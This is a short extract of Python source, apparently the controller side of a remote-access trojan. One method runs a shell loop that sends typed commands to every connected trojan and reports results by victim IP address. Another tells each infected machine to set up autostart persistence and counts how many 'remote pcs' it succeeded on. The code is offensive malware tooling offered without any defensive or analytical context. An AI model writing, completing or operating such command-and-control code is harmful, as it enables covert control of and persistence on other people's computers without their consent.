def run(self): """ the main method of the shell running the infinite loop, continuesly prompting for a command, then attempting to execute the issued command :return: (void) """ # opening the infinite loop inside of a try statement, so that the SystemExit Exception can be caught try: while True: # first fetching the user 4input print(self.prompt[:-2] + Colors.MAGENTA + self.prompt[-2:] + Colors.WHITE, end="") command = input() if command == "exit": if self.supershell is None: sys.exit() else: break # skipping the whole procedure in case the command prompt is empty if command != "" and command != " ": # going through every individual connected trojan in the register for trojanconnection in self.trojanregister: trojanconnection.activate() print("") trojanconnection.send("c:" + command) message_type = trojanrecv(Process(self, "", processname="", layer="fg"), trojanconnection) if message_type == "error": print(str(Message("error", "{0}: failed to execute command".format(trojanconnection.ip)))) else: print(str(Message("result", "{0} successfully executed command".format(trojanconnection.ip)))) trojanconnection.deactivate() except SystemExit: self.trojanregister.clear() # self.trojanlist.save_registered_trojans()
def run(process): shell = process.shell if isinstance(shell, ScriptShell): # itering trough the connected trojans executing the script on each of them then waiting for their individual # comments and returns successfull_implementations = 0 for trojanconnection in shell.trojanregister: trojanconnection.activate() time.sleep(0.1) trojanconnection.send("s:setup_autostart") message_type = trojanrecv(process, trojanconnection) if message_type == "error": shellprint(process, Message("error", "{0}: failed to implement autostart".format(trojanconnection.ip))) else: shellprint(process, Message("result", "{0}: successfully implemented autostart".format(trojanconnection.ip))) successfull_implementations += 1 trojanconnection.deactivate() if successfull_implementations == 0: raise ProcessError("failed to implement any autostart protocols") elif successfull_implementations >= 1: return "implemented autostart behaviour on {0} remote pcs".format(successfull_implementations)